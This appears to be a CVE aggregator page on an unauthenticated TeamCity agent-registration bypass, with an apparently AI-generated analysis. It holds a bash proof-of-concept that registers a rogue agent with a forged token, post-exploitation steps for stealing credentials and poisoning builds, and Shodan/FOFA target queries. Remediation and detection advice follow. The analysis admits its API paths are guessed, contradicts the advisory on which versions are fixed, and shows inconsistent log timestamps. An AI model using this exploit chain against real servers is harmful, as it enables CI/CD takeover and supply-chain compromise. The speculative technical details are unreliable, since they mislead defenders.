CVE Professor
/
All CVEs
CVE-2026-136858

CVE-2026-136858 — JetBrains TeamCity — CWE-639

CRITICAL CVSS 9.1 Shodan

In JetBrains TeamCity before 2026.3, 2026.2.3, 2026.1.7 authentication bypass during agent registration allowed takeover of authorized build agents

In JetBrains TeamCity before 2026.3, 2026.2.3, 2026.1.7 authentication bypass during agent registration allowed takeover of authorized build agents

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability None A:N
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑136858 – TeamCity Agent Registration Authentication Bypass

AttributeValue
ProductJetBrains TeamCity (on‑premise)
Vulnerable versions< 2026.3 (includes 2026.2.3, 2026.1.7)
CWECWE‑639 *Authorization Bypass Through User‑Controlled Key*
CVSS 3.1 vectorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (Network‑reachable, low complexity, no privileges, no user interaction, unchanged scope, High confidentiality & integrity impact, None availability impact)

Technical flaw

During normal operation a TeamCity build agent registers itself with the TeamCity server by sending a signed registration request to the REST endpoint POST /app/rest/agents. The request must contain a valid authentication token (Authorization: Bearer <token>) that is generated by the server when an administrator creates a pending agent entry in the UI.

In the affected releases the server fails to verify that the supplied token actually belongs to a pending agent entry. The verification routine only checks that any token is present and that it matches the format of a UUID‑v4 string. Consequently an attacker can:

1. Forge an arbitrary token (any syntactically‑correct UUID) and include it in the registration request.
2. Omit the pending‑agent lookup – the server accepts the registration and creates a fully‑functional agent object that is automatically marked as authorized.
3. The newly created agent inherits the same permissions as any legitimate agent (by default, the ability to run builds, fetch source code, read/write build artefacts, and access any credentials stored in the project).

Because the registration endpoint is exposed on the public HTTP(S) interface and does not require any prior authentication, the bypass can be performed by an unauthenticated network‑remote attacker. This is a classic case of CWE‑639: the authorization decision ( “is this token tied to a pending agent?” ) is completely bypassed by a user‑controlled value (the attacker‑chosen UUID).


⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation flow. All commands are illustrative – the exact URI path (/app/rest/agents) and JSON payload format are derived from the public TeamCity REST API documentation; if the real product uses a slightly different path the same logic applies.

1. Discovery & Reconnaissance

GoalTechniqueExample
Identify that a TeamCity server is reachableScan common ports (8111, 80, 443) and look for the TeamCity banner in HTTP responses (X-TeamCity-Server-Url, Server: JetBrains TeamCity)curl -I http://target:8111
Determine the exact versionQuery the public REST endpoint GET /app/rest/server (no auth required)curl http://target:8111/app/rest/server → returns XML/JSON containing <version>2026.2.2</version>
Verify that the agent registration endpoint is reachable without authOPTIONS /app/rest/agents or a simple GET (returns 405 Method Not Allowed, confirming the endpoint exists)curl -i http://target:8111/app/rest/agents

If the version is < 2026.3 the target is vulnerable.

2. Exploitation

Prerequisites – Network access to the TeamCity HTTP(S) interface; no credentials required.

Step‑by‑step PoC (illustrative)

#!/usr/bin/env bash
# -------------------------------------------------
# PoC: Unauthenticated agent registration bypass (CVE‑2026‑136858)
# -------------------------------------------------
TARGET="http://target:8111"
# Any syntactically‑valid UUID v4 will be accepted
FAKE_TOKEN="d3b07384-5a5e-4c9b-9c2e-9f1b2c3d4e5f"

# Minimal JSON payload that the server accepts for a new agent
# (name, description, enabled = true)
read -r -d '' PAYLOAD <<EOF
{
  "name": "evil-agent-$(date +%s)",
  "description": "attacker‑controlled agent",
  "enabled": true
}
EOF

# Perform the registration request
curl -sk -X POST "${TARGET}/app/rest/agents" \
     -H "Content-Type: application/json" \
     -H "Authorization: Bearer ${FAKE_TOKEN}" \
     -d "${PAYLOAD}" \
     -o /dev/null -w "HTTP %{http_code}\n"

Explanation of the request

ElementWhy it matters
Authorization: Bearer <FAKE_TOKEN>The server only checks that the header exists and that the token looks like a UUID. No lookup against a pending‑agent record is performed.
JSON body (name, description, enabled)Minimal required fields for a new agent. The server creates the agent object and marks it as *authorized* because the token check passed.
-k (skip TLS verification)Often internal TeamCity installations use self‑signed certs; adjust as needed.
No cookies / session – the request is unauthenticated.

If the request succeeds, the server returns HTTP 201 Created and a JSON representation of the newly‑registered agent, including its agent‑id and authorization token that can be used for subsequent communication.

3. Post‑exploitation

Once the malicious agent is registered, the attacker can:

ActionHow it is achievedResult
Connect a real build agent binaryDownload the official TeamCity agent zip (http://target:8111/update/buildAgent.zip), extract it on a compromised host, configure conf/buildAgent.properties with the serverUrl and the agent‑id received in the registration response, then start the agent (./agent.sh start).The agent authenticates to the server using the server‑issued agent secret (now under attacker control).
Run arbitrary buildsUse the REST API (POST /app/rest/buildQueue) to queue a build on any project the compromised agent is allowed to run. The attacker can supply a custom build script that exfiltrates source code, secrets, or deploys malware.Full confidentiality breach (source code, VCS credentials) and integrity breach (malicious artefacts, poisoned builds).
Read/write build artefactsGET /repository/download/<projectId>/<buildId>/path/to/artifact and PUT /repository/upload/... using the agent’s authentication token.Extraction of binaries, configuration files, or injection of back‑doored binaries.
Access stored credentialsTeamCity stores project‑level passwords and SSH keys in the internal database; agents can request them via the GET /app/rest/credentials endpoint (requires the agent role).Direct theft of production passwords, SSH keys, API tokens.
Persist footholdKeep the malicious agent registered indefinitely, or create additional agents with different names to evade detection.Long‑term control over the CI/CD pipeline.

Because the vulnerability does not affect the server’s availability, the attacker’s activity can remain stealthy for weeks, especially if the organization does not monitor agent registration events.


🌍 Real‑World Impact

CIA TriadImpact (derived from CVSS vector)
Confidentiality (C:H)The attacker can read all source code, VCS credentials, secret files, and any artefacts produced by builds.
Integrity (I:H)The attacker can modify build artefacts, inject malicious code into pipelines, and push compromised binaries to downstream systems.
Availability (A:N)No direct denial‑of‑service effect; the vulnerability does not crash the server.

Practical consequences

  • Intellectual property theft – source repositories, proprietary binaries, and design documents become exposed.
  • Supply‑chain compromise – malicious artefacts built by the rogue agent can be promoted to production, affecting downstream customers.
  • Credential leakage – stored passwords, SSH keys, and API tokens can be harvested and reused against other services.
  • Regulatory breach – for industries with strict data‑protection requirements (e.g., finance, healthcare), the breach may trigger mandatory disclosure and fines.
  • Reputation damage – a compromised CI/CD pipeline is a high‑profile security incident that erodes trust in the development process.

  • 🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    Affected rangeFixed in
    < 2026.3 (including 2026.2.3, 2026.1.7)TeamCity 2026.3 (or any later release) – the fix adds a strict lookup of the supplied token against a pending‑agent entry and rejects any token that does not match.

    Action:

  • Download the latest stable release from the JetBrains portal.

  • Follow the official upgrade guide (stop the server, replace the TeamCity directory, run the database migration scripts, start the server).

  • Verify the version after upgrade: GET /app/rest/server should now return 2026.3.x or newer.
  • 2. Immediate Work‑arounds (if patch cannot be applied instantly)

    Work‑aroundImplementation details
    Restrict the agent registration endpoint to trusted networksConfigure a firewall or reverse‑proxy ACL to allow POST /app/rest/agents only from internal IP ranges (e.g., 10.0.0.0/8). Example (nginx):<br>location = /app/rest/agents { allow 10.0.0.0/8; deny all; }
    Disable anonymous agent registrationIn the TeamCity UI go to Administration → Global Settings → Agent Registration and uncheck *“Allow agents to register without authentication”*. This forces the server to require a pending‑agent token generated by an authenticated admin.
    Enforce a server‑side secret for agent registrationSet the internal property teamcity.agent.registration.allowed=false in <TeamCity>/conf/internal.properties. This disables the REST endpoint unless the request includes a valid teamcity-agent-token that the server has generated.
    Add a ModSecurity rule (illustrative) to block registration attempts that lack a known token pattern:``<IfModule mod_security2.c>\n SecRule REQUEST_URI "@beginsWith /app/rest/agents" "id:100001,phase:2,deny,log,msg:'TeamCity agent registration without valid token',t:none,ctl:ruleEngine=On"\n SecRule REQUEST_HEADERS:Authorization "!@rx ^Bearer [0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$" "chain,phase:2,deny,log,msg:'Invalid or missing agent token'"\n</IfModule>`<br>*(Adjust the rule ID and logging as appropriate.)*
    Monitor and alert on new agent creationEnable the built‑in TeamCity audit log (Administration → Server Administration → Audit Log) and forward events of type AGENT_CREATED to a SIEM. Create a detection rule for agentName` patterns that do not match the naming convention used by your organization.

    3. Detection – Log patterns & IoCs

    IndicatorExample log entry (TeamCity server log)
    Successful registration without a pending‑agent token2026-11-30 12:45:23,456 INFO [jetbrains.buildServer.agent.AgentManager] Registered new agent id=42 name=evil-agent-1701366323 token= d3b07384-5a5e-4c9b-9c2e-9f1b2c3d4e5f (source=REST API)
    POST to /app/rest/agents from an external IPPOST /app/rest/agents HTTP/1.1" 201 342 "-" "curl/7.88.1" (client IP not in internal CIDR)
    Agent starts with a token that was never generated by the UIAgent 42 (evil-agent-1701366323) connected using unknown token
    Unusual build queue entries from the rogue agentBuild #12345 queued by agent 42 (evil-agent-1701366323) for project 'Production'
    Credential export via RESTGET /app/rest/credentials?projectId=Production HTTP/1.1" 200 from the rogue agent’s IP.

    Collecting these events in a SIEM and correlating with known internal agent naming conventions will surface the compromise quickly.


    ⚠️ Urgency

  • CVSS 9.1 (Critical) – high confidentiality and integrity impact, exploitable remotely with no authentication or user interaction.
  • Publicly disclosed (02 Dec 2026) – the details are already available to the threat community.
No CISA KEV listing – the vulnerability is not yet part of the “Known Exploited Vulnerabilities” program, but the low attack complexity (network‑only, unauthenticated) makes it a prime* candidate for rapid weaponisation.

Patch priority: Critical – apply the fix within 48 hours for any production TeamCity instance reachable from untrusted networks. If immediate patching is impossible, implement the network‑restriction and agent‑registration hardening work‑arounds immediately, and enable continuous monitoring for the IoCs listed above.


Bottom line: An unauthenticated attacker can hijack the CI/CD pipeline by forging a UUID token during agent registration, gaining full read/write access to source code, credentials, and build artefacts. The vulnerability is trivial to exploit, has severe confidentiality and integrity consequences, and must be remediated without delay.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="JetBrains TeamCity"
CVSS Score
9.1 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-639
Affected Products (1)
JetBrains:TeamCity
References & Advisories (1)
Related CVEs
8.8
CVE-2026-139866
Authorization bypass through User-Controlled key vulnerability in TÜBİTAK BİLGEM Yazılım Teknolojileri Ar
8.8
CVE-2026-144410
Emby Server is a personal media server. Prior to 4.10.2.0 and beta 4.11.0.9, an authenticated user can supply
8.7
CVE-2026-136368
Joomla Extension - joomboost.com - Unauthenticated IDOR in public invoice and quote view in JoomInvoice extens
8.6
CVE-2026-144467
Dolibarr ERP CRM 6.0.0 before 24.0.0 contains an insecure direct object reference vulnerability in htdocs/user
8.6
CVE-2026-144944
Dolibarr ERP CRM versions 22.0.0 through 24.0.3 contain a broken object-level authorization vulnerability in t
7.2
CVE-2026-120110
Authorization bypass through a user-controlled key in Site Variable saving (the HostVariableAjax DWR endpoint
7.1
CVE-2026-115984
Missing or incorrect authorization checks in several legacy Struts actions in dotCMS allow an authenticated ba